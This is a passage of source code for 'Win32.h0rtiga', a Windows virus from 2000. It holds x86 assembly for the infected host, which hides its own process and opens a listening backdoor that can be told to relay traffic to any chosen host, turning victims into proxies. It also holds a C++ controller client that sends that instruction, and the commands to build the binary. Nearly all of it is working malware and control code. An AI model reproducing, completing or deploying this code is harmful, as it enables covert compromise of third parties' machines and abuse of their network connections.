lea esi, ebp + sz_mGetProcAddr
|
|
call GetAPIExpK32
|
|
lea edi, ebp + ddGetProcAddress
|
|
stosd
|
|
lea esi, ebp + sz_mLoadLibraryA
|
|
call GetAPIExpK32
|
|
lea edi, ebp + ddLoadLibraryA
|
|
stosd
|
|
lea esi, ebp + sz_mKernel32
|
|
lea edi, ebp + addr_apis
|
|
mov ebx, NumAPISK32
|
|
call MakeTabla
|
|
lea esi, ebp + sz_mW32
|
|
lea edi, ebp + addr_apis2
|
|
mov ebx, NumAPISW32
|
|
call MakeTabla
|
|
call dword ptr [ebp + ddGetCurrentProcessId]
|
|
push 1
|
|
push eax
|
|
call dword ptr [ebp + ddRegisterServiceProcess]
|
|
push buffsz
|
|
push 0
|
|
call dword ptr [ebp + ddGlobalAlloc]
|
|
cmp eax, -1
|
|
je error
|
|
mov dword ptr [ebp + adrbuff], eax
|
|
push eax
|
|
push 101h
|
|
call dword ptr [ebp + ddWSAStartup]
|
|
push 6
|
|
push 1
|
|
push 2
|
|
call dword ptr [ebp + ddsocket]
|
|
cmp eax, -1
|
|
je error
|
|
mov dword ptr [ebp + sock1], eax
|
|
push 16
|
|
lea esi, ebp + addr1
|
|
push esi
|
|
lea esi, ebp + sock1
|
|
lodsd
|
|
push eax
|
|
call dword ptr [ebp + ddbind]
|
|
cmp eax, -1
|
|
je error
|
|
push 1
|
|
lea esi, ebp + sock1
|
|
lodsd
|
|
push eax
|
|
call dword ptr [ebp + ddlisten]
|
|
mov byte ptr [ebp + semaforo], 0
|
|
configit:
|
|
mov al, byte ptr [ebp + semaforo]
|
|
test al, al
|
|
jnz QueEs?
|
|
push 0
|
|
push 0
|
|
lea esi, ebp + sock1
|
|
lodsd
|
|
push eax
|
|
call dword ptr [ebp + ddaccept]
|
|
mov dword ptr [ebp + gotit], eax
|
|
push 0
|
|
push msgentryserverlen
|
|
lea esi, ebp + msgentryserver
|
|
push esi
|
|
lea esi, ebp + gotit
|
|
lodsd
|
|
push eax
|
|
call dword ptr [ebp + ddsend]
|
|
push 0
|
|
push buffsz
|
|
lea esi, ebp + adrbuff
|
|
lodsd
|
|
push eax
|
|
lea esi, ebp + gotit
|
|
lodsd
|
|
push eax
|
|
call dword ptr [ebp + ddrecv]
|
|
xchg ebx, eax
|
|
lea esi, ebp + gotit
|
|
lodsd
|
|
push eax
|
|
call dword ptr [ebp + ddclosesocket]
|
|
cmp ebx, 8
|
|
jnz configit
|
|
lea esi, ebp + adrbuff
|
|
lodsd
|
|
xchg esi, eax
|
|
lodsw
|
|
mov byte ptr [ebp + semaforo], al
|
|
lea edi, ebp + addr2
|
|
add edi, 2
|
|
movsw
|
|
movsd
|
|
jmp configit
|
|
QueEs?:
|
|
dec al
|
|
test al, al
|
|
jz bis0
|
|
mov byte ptr [ebp + semaforo], 0
|
|
jmp configit
|
|
bis0: mov byte ptr [ebp + countbouncer], 20
|
|
bis: push 0
|
|
push 0
|
|
lea esi, ebp + sock1
|
|
lodsd
|
|
push eax
|
|
call dword ptr [ebp + ddaccept]
|
|
mov dword ptr [ebp + gotit], eax
|
|
mov dword ptr [ebp + fd_set1.sockh], eax
|
|
push 6
|
|
push 1
|
|
push 2
|
|
call dword ptr [ebp + ddsocket]
|
|
cmp eax, -1
|
|
je error
|
|
mov dword ptr [ebp + sock2], eax
|
|
mov dword ptr [ebp + fd_set2.sockh], eax
|
|
push 16
|
|
lea esi, ebp + addr2
|
|
push esi
|
|
lea esi, ebp + sock2
|
|
lodsd
|
|
push eax
|
|
call dword ptr [ebp + ddconnect]
|
|
cmp eax, -1
|
|
je nosok2
|
|
main_lp: lea esi, ebp + ttl
|
|
push esi
|
|
push 0
|
|
push 0
|
|
lea esi, ebp + fd_set1
|
|
push esi
|
|
push 10h
|
|
call dword ptr [ebp + ddselect]
|
|
cmp eax, -1
|
|
je outnow
|
|
cmp eax, 1
|
|
je r1w2
|
|
mov dword ptr [ebp + fd_set1.no], 1
|
|
lea esi, ebp + ttl
|
|
push esi
|
|
push 0
|
|
push 0
|
|
lea esi, ebp + fd_set2
|
|
push esi
|
|
push 10h
|
|
call dword ptr [ebp + ddselect]
|
|
cmp eax, -1
|
|
je outnow
|
|
cmp eax, 1
|
|
je r2w1
|
|
mov dword ptr [ebp + fd_set2.no], 1
|
|
jmp main_lp
|
|
outnow: lea esi, ebp + sock2
|
|
lodsd
|
|
push eax
|
|
call dword ptr [ebp + ddclosesocket]
|
|
nosok2: lea esi, ebp + gotit
|
|
lodsd
|
|
push eax
|
|
call dword ptr [ebp + ddclosesocket]
|
|
mov al, byte ptr [ebp + countbouncer]
|
|
test al, al
|
|
jz byebounz
|
|
dec al
|
|
mov byte ptr [ebp + countbouncer], al
|
|
jmp bis
|
|
byebounz: mov byte ptr [ebp + semaforo], 0
|
|
jmp configit
|
|
r1w2: push 0
|
|
push buffsz
|
|
lea esi, ebp + adrbuff
|
|
lodsd
|
|
push eax
|
|
lea esi, ebp + gotit
|
|
lodsd
|
|
push eax
|
|
call dword ptr [ebp + ddrecv]
|
|
or eax, eax
|
|
jz outnow
|
|
cmp eax, -1
|
|
je outnow
|
|
push 0
|
|
push eax
|
|
lea esi, ebp + adrbuff
|
|
lodsd
|
|
push eax
|
|
lea esi, ebp + sock2
|
|
lodsd
|
|
push eax
|
|
call dword ptr [ebp + ddsend]
|
|
cmp eax, -1
|
|
je outnow
|
|
jmp main_lp
|
|
r2w1: push 0
|
|
push buffsz
|
|
lea esi, ebp + adrbuff
|
|
lodsd
|
|
push eax
|
|
lea esi, ebp + sock2
|
|
lodsd
|
|
push eax
|
|
call dword ptr [ebp + ddrecv]
|
|
or eax, eax
|
|
jz outnow
|
|
cmp eax, -1
|
|
je outnow
|
|
push 0
|
|
push eax
|
|
lea esi, ebp + adrbuff
|
|
lodsd
|
|
push eax
|
|
lea esi, ebp + gotit
|
|
lodsd
|
|
push eax
|
|
call dword ptr [ebp + ddsend]
|
|
cmp eax, -1
|
|
je outnow
|
|
jmp main_lp
|
|
|
|
virlenght equ $-start
|
|
|
|
zero_generation:
|
|
|
|
mov ebx, offset f_generation
|
|
push 0
|
|
|
|
call GetModuleHandleA
|
|
xchg eax, ebx
|
|
sub eax, ebx
|
|
lea edi, OldEntryPointRVA
|
|
stosd
|
|
jmp start
|
|
|
|
f_generation:
|
|
|
|
push 0
|
|
push offset m_szTitle
|
|
push offset m_szCopyright
|
|
push 0
|
|
call MessageBoxA
|
|
push 0
|
|
call ExitProcess
|
|
|
|
m_szTitle db '-- Coded by |Zan [ 1st generation ]', 0
|
|
m_szCopyright db '-=[ (c) 2000. Win32.h0rtiga virus will run now ... ]=-', 0
|
|
|
|
|
|
end zero_generation
|
|
|
|
|
|
;----------------------------------------------------------------------------
|
|
; Win32.h0rtiga - end virus code (w32h0rtiga.asm)
|
|
;----------------------------------------------------------------------------
|
|
|
|
;----------------------------------------------------------------------------
|
|
; Win32.h0rtiga - begin client code (h0rtclient.cpp/Visual C++ 6.0)
|
|
;----------------------------------------------------------------------------
|
|
|
|
#include <iostream.h>
|
|
#include <string.h>
|
|
#include <stdlib.h>
|
|
#include <winsock2.h>
|
|
|
|
#define MAX_BANNER 500
|
|
#define ACCION_BOUNCE 1
|
|
|
|
typedef unsigned char db;
|
|
typedef unsigned short dw;
|
|
typedef unsigned long dd;
|
|
|
|
|
|
typedef struct {
|
|
db accion;
|
|
dw puertoremoto;
|
|
dd direccion;
|
|
} Conf_Remota;
|
|
|
|
dd addrtmp;
|
|
|
|
void MostrarCreditos () {
|
|
|
|
cout << "\n\n\t\t (c) 2000 DeepZone - h0rtiga client (Win32) ...\n\n"
|
|
<< "\t\t\tCoded by |Zan - izan@galaxycorp.com\n\n\n"
|
|
<< "Uso : h0rtclient <h0rtiga host> <port> <new host> <port>\n"
|
|
<< "e.j.: h0rtclient host.com 5556 www.pandasoftware.es 80\n\n";
|
|
cout.flush();
|
|
|
|
}
|
|
|
|
|
|
void SetEstructura(Conf_Remota *cremota, db acc, dd dire, dw premote) {
|
|
|
|
cremota->accion = acc;
|
|
cremota->direccion = dire;
|
|
cremota->puertoremoto = premote;
|
|
|
|
}
|
|
|
|
|
|
void main(int argc, char *argv[]) {
|
|
|
|
int s, i;
|
|
char banner[MAX_BANNER];
|
|
sockaddr_in a;
|
|
hostent FAR *h = NULL;
|
|
WSADATA wsaData;
|
|
Conf_Remota conf_remota;
|
|
|
|
|
|
|
|
// Show credits
|
|
|
|
MostrarCreditos();
|
|
|
|
|
|
// Num params ?
|
|
|
|
if (argc != 5) {
|
|
|
|
cout << "Error : Numero de parametros incorrectos.\n\n";
|
|
exit(-1);
|
|
}
|
|
|
|
|
|
// WinSock up!!
|
|
|
|
if (WSAStartup (0x101, &wsaData)) {
|
|
|
|
cout << "Error : Incapaz de inicializar la libreria WinSock.\n\n";
|
|
exit(-1);
|
|
|
|
}
|
|
|
|
|
|
// server's name
|
|
|
|
if (isalpha((int)*(argv[1]))) {
|
|
|
|
h = gethostbyname(argv[1]);
|
|
|
|
if (h == NULL) {
|
|
cout << "Error : No se puede hallar el nombre del anfitrion\n\n";
|
|
WSACleanup();
|
|
exit(-1);
|
|
|
|
} else memcpy(&(a.sin_addr.s_addr), h->h_addr, sizeof(int));
|
|
}
|
|
|
|
else {
|
|
if ((a.sin_addr.s_addr = inet_addr (argv[1])) == INADDR_NONE) {
|
|
|
|
cout << "Error : No se puede hallar el nombre del anfitrion\n\n";
|
|
exit(-1);
|
|
|
|
}
|
|
}
|
|
|
|
// port ?
|
|
|
|
a.sin_family = AF_INET;
|
|
a.sin_port = htons((dw)atoi(argv[2]));
|
|
|
|
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
|
|
|
if (s==0) {
|
|
|
|
cout << "Error : No se puede establecer la conexion\n"
|
|
<< WSAGetLastError() << '\n\n';
|
|
WSACleanup();
|
|
exit(-1);
|
|
|
|
}
|
|
|
|
// trying ...
|
|
|
|
if (connect(s, (struct sockaddr *)&a, sizeof(a))) {
|
|
|
|
cout << "Error : No se puede establecer la conexion: "
|
|
<< WSAGetLastError() << '\n\n';
|
|
WSACleanup();
|
|
exit(-1);
|
|
|
|
}
|
|
|
|
// clean banner
|
|
|
|
for (i=0;i<MAX_BANNER;i++) banner[i] = 0;
|
|
|
|
cout << "Esperando respuesta ...\n\n";
|
|
|
|
if (recv(s, (char *)&banner, sizeof(banner), 0) == SOCKET_ERROR)
|
|
|
|
cout << "Error recibiendo datos.\n";
|
|
|
|
else {
|
|
|
|
cout << banner << "\n";
|
|
|
|
}
|
|
|
|
if (isalpha((int)*(argv[3]))) {
|
|
|
|
h = gethostbyname(argv[3]);
|
|
|
|
if (h == NULL) {
|
|
cout << "Error : No se puede hallar nombre de anfitrion remoto\n\n";
|
|
WSACleanup();
|
|
exit(-1);
|
|
|
|
} else memcpy(&(addrtmp), h->h_addr, sizeof(int));
|
|
}
|
|
|
|
else {
|
|
if ((addrtmp = inet_addr (argv[3])) == INADDR_NONE) {
|
|
|
|
cout << "Error : No se puede hallar nombre de anfitrion remoto\n\n";
|
|
exit(-1);
|
|
|
|
}
|
|
}
|
|
|
|
|
|
SetEstructura(&conf_remota, ACCION_BOUNCE, addrtmp, htons((dw)atoi(argv[4])));
|
|
|
|
if ((send (s, (char *)&conf_remota, sizeof(conf_remota), 0)) == SOCKET_ERROR)
|
|
|
|
cout << "Error enviando datos.\n";
|
|
|
|
else cout << "... nueva configuracion enviada.\n\n";
|
|
|
|
|
|
closesocket(s);
|
|
|
|
// WinSock down !!
|
|
|
|
WSACleanup();
|
|
}
|
|
|
|
;----------------------------------------------------------------------------
|
|
; Win32.h0rtiga - end client code (h0rtclient.cpp)
|
|
;----------------------------------------------------------------------------
|
|
|
|
;----------------------------------------------------------------------------
|
|
; Win32.h0rtiga - compiling ... (Tasm 5.0/x86)
|
|
;----------------------------------------------------------------------------
|
|
;
|
|
; tasm32 -ml w32h0rtiga.asm
|
|
; tlink32 -Tpe -c -x w32h0rtiga.obj ,,, import32
|
|
; pewrsec.com w32h0rtiga.exe
|
|
;
|
|
;
|
|
; --] EOF
|